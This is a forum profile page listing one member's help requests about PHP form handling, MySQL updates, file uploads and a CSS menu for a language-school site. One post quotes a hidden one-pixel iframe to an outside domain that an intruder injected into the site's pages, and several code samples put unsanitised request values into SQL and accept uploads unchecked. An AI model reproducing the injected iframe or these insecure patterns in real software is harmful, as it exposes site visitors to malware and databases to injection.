Jump to content

deansaddigh

Members
  • Posts

    440
  • Joined

  • Last visited

    Never

Everything posted by deansaddigh

  1. I feel like an ideot but i have downloaded the middle one of the 3 options and it gives me this file mootools-1.2.4-core-yc.js now do i just link it in my php page like so <script type="text/javascript" src="js/mootools-1.2.4-core-yc.js"></script> if thats correct what about the oter file its telling me to reference <script type="text/javascript" src="js/mootools-1.2.4.4-more.js"></script> Do i not need to worry about that? Im sorry for the silly questions, but im genuinly stuck
  2. hey , thanks for your reply, and please excuse my lack of knowledge, ive tried, to go to mootools, but cant find where i donwload them, can you point me in the right direction
  3. hi guys i go here and download the script. http://mootools.floor.ch/en/demos/formcheck When i download it i have to reference these files <script type="text/javascript" src="includes/formcheck/js/mootools/core.js"></script> <script type="text/javascript" src="includes/formcheck/js/mootools/more.js"></script> <script type="text/javascript" src="includes/formcheck/lang/en.js"> </script> <script type="text/javascript" src="includes/formcheck/formcheck.js"> </script> The first two more.js and core.js dont come in the package whats the deal?
  4. Ok, so now it still wont send details to db. I have echo out the sql query to check it and it gives me this UPDATE admin SET avatar_name=1236336869_scary.gif, avatar_path=avatarImages/ WHERE email = deansaddigh@hotmail.comUnable to add the avatar details to the database Which looks correct its got the name and path and updating it where email should equal my email. Why wont it upload it still gives this message to add the avatar details to the database Heres the bit of code //Store the filename, path other criteria in the database $query = "UPDATE admin SET avatar_name=$filename, avatar_path=$filepath WHERE email = {$_SESSION['user']}"; //Perform the query $add = mysql_query($query, $conn) or die("Unable to add the avatar details to the database");
  5. Please ignore my last post would help if i was comparing to of the same things in my where clause Im an idiot
  6. Than you, it doesnt error out now so thats a start but i wont update the db it just gets an error, i looked and my update is incorrect it should be this $query = "UPDATE admin SET avatar_name='$filename', avatar_path='$filepath' WHERE admin_id = {$_SESSION['name']}"; but i still get Unable to add the avatar details to the database Which is related to this code, can you see what i am doing wrong <?php include "securitycheck.php"; include("includes/connection.php"); // Where the file is going to be placed $avatarimage = "avatarImages/"; //This path will be stored in the database as it does not contain the filename $currentdir = getcwd(); $path = $currentdir . '/' . $avatarimage; //Use this path to store the path of the file in the database. echo $filepath = $avatarimage; //Create the folder if it does not already exist if(!file_exists('avatarimages')) { if(mkdir('avatarimages')) { echo 'Folder ' . 'avatarImages' . ' created.'; } else { echo 'Error creating folder ' . 'avatarImages'; } } //Store the folder for the course title. if(!file_exists( $filepath )) { if(mkdir( $filepath )) { echo 'Folder ' . $avatarimage . ' created.'; } else { echo 'Error creating folder ' . $avatarimage; } } // Where the file is going to be placed $target_path = $filepath; // Add the original filename to our target path. Result is "uploads/filename.extension" $target_path = $target_path . '/' . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file ". basename( $_FILES['uploadedfile']['name'])." has been uploaded"; $filename = $_FILES['uploadedfile']['name']; //Store the filename, path other criteria in the database $query = "UPDATE admin SET avatar_name='$filename', avatar_path='$filepath' WHERE admin_id = {$_SESSION['name']}"; //Perform the query $add = mysql_query($query, $conn) or die("Unable to add the avatar details to the database"); $message = 'Upload Successful'; //Close the connection to the database mysql_close($conn); header("Location: admin.php? message=$message"); exit(); } else { $message = 'There was an error uploading the file, please try again!'; //Close the connection to the database mysql_close($conn); header("Location:add_student_photos.php? message=$message"); exit(); } ?>
  7. Can someone help me. trying to say update details where admin_id equals the admin_id in the session. //Store the filename, path other criteria in the database $query = "UPDATE admin(avatar_name, avatar_path) VALUES('$filename', '$filepath') WHERE admin_id = $_SESSION['admin_id']"; Thanks in advance
  8. Hi guys, i have this site http://www.languageschoolsuk.com/index.php And i have this menu which is in an include file <div id="menu"> <ul> <li><a href="index.php">Home | <!--<img src="../images/house.png" alt="Home" class="floatleft"/>--></a></li> <li><a href="who_are_we.php">Who Are We? |</a></li> <li><a href="advanced_search.php">Advanced Search |</a></li> <li><a href="faq.php">FAQ |</a></li> <li><a href="course_enquiry.php">Course Enquiry |</a></li> <li><a href="coursecalculator.php">Course Calculator |</a></li> <li><a href="uk_videos.php">UK Videos |</a></li> <li><a href="student_photos.php">Student Photos |</a></li> <li><a href="visas.php">Visa Help |</a></li> <li><a href="view_all_schools.php">View All Schools |</a></li> </ul> </div> The css that references it is /* Menu */ #menu { border-top:thin solid #CCCCCC ; width: 980px; height:30px; padding: 0; background:#0092B5 url(images/page-title-bg.jpg) repeat-x scroll left top; } #menu ul { margin: 0; list-style: none; } #menu li { float: left; margin-top:-13px; float: left; } #menu a { display: block; padding-left: 10px; height: 39px; padding-top: 15px; font-family:verdana,Arial,sans-serif; text-decoration: none; text-align: center; font-size: 12px; font-weight: bold; color: #FFFFFF; border: none; } I want to make when the user hovers over advanced search i want a drop down with 2 other links in it, Those links being simple search and advanced search. Can anyone help me please.
  9. Thanks for taking the time to reply. Im going to check what you have suggested, looks quite complex, but ill do some reading up on what you said.
  10. Thanks Teddy for your advice, i have started to remove them all. The thing i dont understand is, to physically change the page. they would have to have hacked our ftp server and physically modified the page, am i wright in thinking this.
  11. Hi guys, some how someone has physically changed my pages and added <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe> How have they done this, do you think they have got into our ftp account. Heres a page with it on. http://www.languageschoolsuk.com/coursecalculator.php if you look at source code , right at the end near the footer you can see. Any help and advice would be brilliant because i have nooooo idea.
  12. Hi if you go here http://www.languageschoolsuk.com/student_photos.php?page=1 I have the most annoying problem, you can see little "-" that links to the last image and its driving me nuts. please help. code where im printing out images while($row = mysql_fetch_array ($result)) { $imagename = $row ['name']; $image = 'Admin/'.$row['path'] . '/' . $row ['name']; //echo '<img src="'.$image.'"/ >'; //echo'<a href="'.$image.'" rel="lightbox" title="my caption">image </a>'; echo '<a href="'.$image.'" rel="lightbox" class="studentimage"><img src="'.$image.'" width="150" height="150"/>'; } echo '<br />';
  13. Ive added ini_set("display_startup_errors", "1"); ini_set("display_errors", "1"); error_reporting(E_ALL); Whats it meant to do, doenst seem to display anything?
  14. Hi i have this form echo '<form id="two" enctype="multipart/form-data" action="student_photo_uploader.php" method="POST">'; echo '<input type="hidden" name="MAX_FILE_SIZE" value="999999999999" />'; echo '<fieldset>'; echo '<legend>Choose an image:</legend>'; echo '<input name="uploadedfile" type="file" /><br />'; echo '<input type="submit" value="Upload File" />'; echo '</fieldset>'; ?> And then i have this page which should upload but its just displaying "there was an error" <?php include("includes/connection.php"); // Where the file is going to be placed $studentimage = "studentImages/"; //This path will be stored in the database as it does not contain the filename $currentdir = getcwd(); $path = $currentdir . '/' . $studentimage; //Use this path to store the path of the file in the database. echo $filepath = $studentimage; //Create the folder if it does not already exist if(!file_exists('studentimages')) { if(mkdir('studentimages')) { echo 'Folder ' . 'studentImages' . ' created.'; } else { echo 'Error creating folder ' . 'studentImages'; } } //Store the folder for the course title. if(!file_exists( $filepath )) { if(mkdir( $filepath )) { echo 'Folder ' . $studentimage . ' created.'; } else { echo 'Error creating folder ' . $studentimage; } } // Where the file is going to be placed $target_path = $filepath; // Add the original filename to our target path. Result is "uploads/filename.extension" $target_path = $target_path . '/' . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file ". basename( $_FILES['uploadedfile']['name'])." has been uploaded"; $filename = $_FILES['uploadedfile']['name']; //Store the filename, path other criteria in the database $query = "INSERT INTO studentphotos(image_id, name, path) VALUES(0, '$filename', '$filepath')"; //Perform the query $add = mysql_query($query, $conn) or die("Unable to add the image details to the database"); $imageid = mysql_insert_id(); $message = 'Upload Successful'; //Close the connection to the database mysql_close($conn); header("Location: add_student_photos.php? message=$message"); exit(); } else { $message = 'There was an error uploading the file, please try again!'; //Close the connection to the database mysql_close($conn); header("Location:add_student_photos.php? message=$message"); exit(); } ?> Can anyone help me see what i have done wrong please. Thanks in advance
  15. The page goes to edit_faq_submit, is it a problem with post?
  16. I for somereason cant retrieve data from my form. Form page <?php $query = "SELECT * FROM faq WHERE faq_id ='{$_SESSION['id']}'"; $result = mysql_query($query, $conn) or die('Error, query failed'); while($row= mysql_fetch_array($result)) { echo '<form id="two" action="edit_faq_submit.php" method="post">'; echo ' <label>QUESTION:*</label>'; echo '<input type="text" SIZE="50" name="question" value="'.$row['question'].'"/>'; echo '<label> ANSWER:* </label>'; echo '<textarea name="answer">'.$row['answer'].'</textarea>'; echo ' <hr>'; echo '<input id="button1" type="submit" value="Send" /> '; echo '</form>'; } Form submit page $question = $_GET['question']; $answer = $_GET['answer']; On that page im getting the following error Notice: Undefined index: question in \\nas44ent\domains\l\languageschoolsuk.com\user\htdocs\admin\edit_faq_submit.php on line 43 Notice: Undefined index: answer in \\nas44ent\domains\l\languageschoolsuk.com\user\htdocs\admin\edit_faq_submit.php on line 44 Driving me crazy now
  17. Thanks you very much i have changed it per your instructions. How can i put it in my where clause $query = "SELECT * FROM faq WHERE faq_id = '$_SESSION["id"]"; $result = mysql_query($query, $conn) or die('Error, query failed'); while($row= mysql_fetch_array($result)) thanks again
  18. $id = $_GET["id"]; session_register("id"); $query = "SELECT * FROM faq WHERE faq_id = '$_SESSION["id"]"; $result = mysql_query($query, $conn) or die('Error, query failed'); My session in the where clause wont work any help would be appreciated Thanks in advance
  19. Thank you so much, i appreciate you taking the time to help me out
  20. ive changed it to this echo '<textarea name="question" value="'.$row['question'].'"></textarea>'; its just not displaying anything in the text area. full code is <?php $query = "SELECT * FROM faq WHERE faq_id =$id"; $result = mysql_query($query, $conn) or die('Error, query failed'); while($row= mysql_fetch_array($result)) { echo '<input type="text" SIZE="50" name="question" value="'.$row['question'].'"/>'; echo '<textarea name="question" value="'.$row['question'].'"></textarea>'; } ?>
  21. All im doing is making a form txt area and passing in a variable as a value echo '<textarea name="question" value="'.$row['question'].'"/>'; Thanks in advance
  22. Hi, i have this code //Get the id $id = $_GET["id"]; $query = "SELECT * FROM faq WHERE faq_id =$id"; $result = mysql_query($query, $conn) or die('Error, query failed'); while($row= mysql_fetch_array($result)) { echo '<strong>Question:</strong> <p class="important2">'.$row['question'].'</p>'; echo '<strong>Answer:</strong> <p class="important2">'.$row['answer'].'</p>'; echo '<hr/> '; } Basically i want to be able to modify the question and answer in a form and then update the record, how can i do this? Thanks in advance
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.